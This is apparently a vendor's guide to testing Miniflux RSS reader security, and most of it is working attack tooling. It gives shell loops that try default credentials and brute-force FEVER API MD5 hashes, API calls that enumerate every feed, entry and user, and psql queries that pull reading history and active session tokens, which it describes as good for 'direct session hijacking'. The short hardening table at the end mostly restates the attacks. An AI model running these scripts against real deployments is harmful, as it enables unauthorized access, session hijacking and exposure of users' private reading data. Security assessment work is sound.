Miniflux Security Testing: Default Credentials, API Key, Database, and PostgreSQL

Miniflux is a widely deployed open-source RSS feed reader (Feedly/Feedbin alternative) written in Go — it aggregates and caches content from all subscribed RSS/Atom feeds. Key assessment areas: admin/admin are commonly used default credentials on fresh installations; the REST API with API key exposes all feed subscriptions and cached article content; the FEVER API compatibility endpoint uses MD5-hashed credentials susceptible to offline cracking; PostgreSQL stores all subscriptions, cached entries, and reading history; and user reading patterns reveal competitive intelligence interests. Miniflux compromise exposes all monitored content sources, cached article content from private feeds, and complete reading behavior profiles. This guide covers systematic Miniflux security assessment.

Table of Contents

  1. Default Credentials and Authentication Testing
  2. API Feed and Entry Enumeration
  3. FEVER API and Database Extraction
  4. Miniflux Security Hardening

Default Credentials and Authentication Testing

# Miniflux — default credentials and authentication testing
MINIFLUX_URL="https://miniflux.example.com"

# Test common default credentials
for CRED in "admin:admin" "admin:miniflux" "miniflux:miniflux" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${MINIFLUX_URL}/v1/me" \
    -u "${USER}:${PASS}" 2>/dev/null)
  RESULT=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('id'):
    print(f'OK id={d.get(\"id\")} username={d.get(\"username\")} admin={d.get(\"is_admin\")}')
else:
    print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
  echo "${USER}:${PASS}: ${RESULT}"
done

# Test API key authentication
API_KEY="your-miniflux-api-key"
curl -s "${MINIFLUX_URL}/v1/me" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API key valid: id={d.get(\"id\")} username={d.get(\"username\")} admin={d.get(\"is_admin\")}')
" 2>/dev/null

# Check FEVER API endpoint (legacy compatibility)
# FEVER uses MD5(username:password) as API key
FEVER_HASH=$(echo -n "admin:admin" | md5sum | cut -d' ' -f1)
curl -s -X POST "${MINIFLUX_URL}/fever" \
  -d "api_key=${FEVER_HASH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'FEVER API auth: {d.get(\"auth\")} (1=success)')
" 2>/dev/null
# auth=1 means the MD5 hash was accepted

API Feed and Entry Enumeration

# Miniflux API — feed subscription and entry enumeration
MINIFLUX_URL="https://miniflux.example.com"
API_KEY="your-miniflux-api-key"

# Get all feed subscriptions
curl -s "${MINIFLUX_URL}/v1/feeds" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
feeds = d if isinstance(d,list) else []
print(f'Feeds: {len(feeds)}')
for f in feeds[:15]:
    # Feed list reveals all sources the user monitors
    print(f'  [{f.get(\"id\")}] {f.get(\"title\",\"\")[:40]} url={f.get(\"feed_url\",\"\")[:60]}')
    print(f'    site={f.get(\"site_url\",\"\")} unread={f.get(\"unread_count\")} category={f.get(\"category\",{}).get(\"title\")}')
" 2>/dev/null

# Get all categories (reveals user's organizational structure)
curl -s "${MINIFLUX_URL}/v1/categories" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
cats = d if isinstance(d,list) else []
print(f'Categories: {len(cats)}')
for c in cats:
    print(f'  [{c.get(\"id\")}] {c.get(\"title\")}')
" 2>/dev/null

# Get recent entries (cached article content from all feeds)
curl -s "${MINIFLUX_URL}/v1/entries?limit=50&order=published_at&direction=desc" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
entries = d.get('entries',[])
total = d.get('total',len(entries))
print(f'Entries: {total} total, showing {len(entries)}')
for e in entries[:10]:
    # entries contain full cached article content
    content_len = len(e.get('content',''))
    print(f'  [{e.get(\"id\")}] {e.get(\"title\",\"\")[:50]} src={e.get(\"feed\",{}).get(\"title\",\"\")[:30]}')
    print(f'    url={e.get(\"url\",\"\")[:60]} status={e.get(\"status\")} content_bytes={content_len}')
" 2>/dev/null

# Enumerate all users (admin only)
curl -s "${MINIFLUX_URL}/v1/users" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d,list) else []
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} admin={u.get(\"is_admin\")} created={str(u.get(\"created_at\",\"\"))[:10]}')
" 2>/dev/null

FEVER API and Database Extraction

# Miniflux FEVER API and PostgreSQL database extraction

# FEVER API — brute force common credential MD5 hashes
python3 -c "
import hashlib
creds = [('admin','admin'),('admin','miniflux'),('miniflux','miniflux'),('admin','password123')]
for u,p in creds:
    h = hashlib.md5(f'{u}:{p}'.encode()).hexdigest()
    print(f'{u}:{p} -> {h}')
" | while IFS=' -> ' read -r cred hash; do
  RESULT=$(curl -s -X POST "https://miniflux.example.com/fever" \
    -d "api_key=${hash}" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('auth',0))" 2>/dev/null)
  [ "$RESULT" = "1" ] && echo "VALID FEVER credentials: ${cred} (hash: ${hash})"
done

# PostgreSQL — all Miniflux data
DB_URL="postgresql://miniflux:PASSWORD@localhost/miniflux"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users with password hashes
SELECT id, username, is_admin, google_id,
       created_at, last_login_at
FROM users
ORDER BY created_at ASC
LIMIT 10;
EOF

-- All feed subscriptions (all monitored URLs)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT f.id, f.title, f.feed_url, f.site_url,
       f.user_id, c.title as category, f.checked_at
FROM feeds f
LEFT JOIN categories c ON f.category_id = c.id
ORDER BY f.user_id, f.created_at DESC
LIMIT 30;
EOF
-- feed_url: the actual RSS endpoint URLs being polled
-- reveals all private/internal feeds the user monitors

-- All cached entries (article content)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT e.id, e.title, e.url, e.status,
       e.published_at, e.created_at,
       length(e.content) as content_bytes,
       f.title as feed_title
FROM entries e
JOIN feeds f ON e.feed_id = f.id
WHERE e.status = 'read'
ORDER BY e.published_at DESC
LIMIT 20;
EOF
-- status: read/unread/removed — reading history revealed

-- User sessions (active session tokens)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, user_id, token, created_at, user_agent, ip
FROM user_sessions
ORDER BY created_at DESC
LIMIT 10;
EOF
-- token: active session token for direct session hijacking

Miniflux Security Hardening

Miniflux Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential accessPOST /v1/me with admin:admin HTTP Basic Auth — common default; full admin API access to all feeds, entries, user managementCritical
FEVER API MD5 hash brute forcePOST /fever with MD5(username:password) — legacy authentication using weak MD5; offline dictionary attack trivially cracks common passwords; full read access to feeds and entriesHigh
Feed subscription intelligence gatheringGET /v1/feeds — complete list of all monitored RSS sources; reveals competitive intelligence sources, security vulnerability feeds, internal company blogs, private publication subscriptionsHigh
PostgreSQL user_sessions token extractionSELECT token FROM user_sessions — active session tokens for direct hijacking without credential knowledge; grants browser-level access to all user dataHigh
Cached private feed content extractionGET /v1/entries?limit=1000 — all locally cached article content including from password-protected feeds where Miniflux stores credentials to poll authenticated feedsMedium

Automate Miniflux Security Testing

Ironimo tests Miniflux deployments for default admin/admin credential access, FEVER API MD5 hash brute force authentication, API key feed and entry enumeration, PostgreSQL user_sessions active token extraction, complete reading history analysis, cached private feed content access, user enumeration via admin API, Google OAuth integration credential exposure, Docker DATABASE_URL plaintext exposure, and feed subscription intelligence gathering.

Start free scan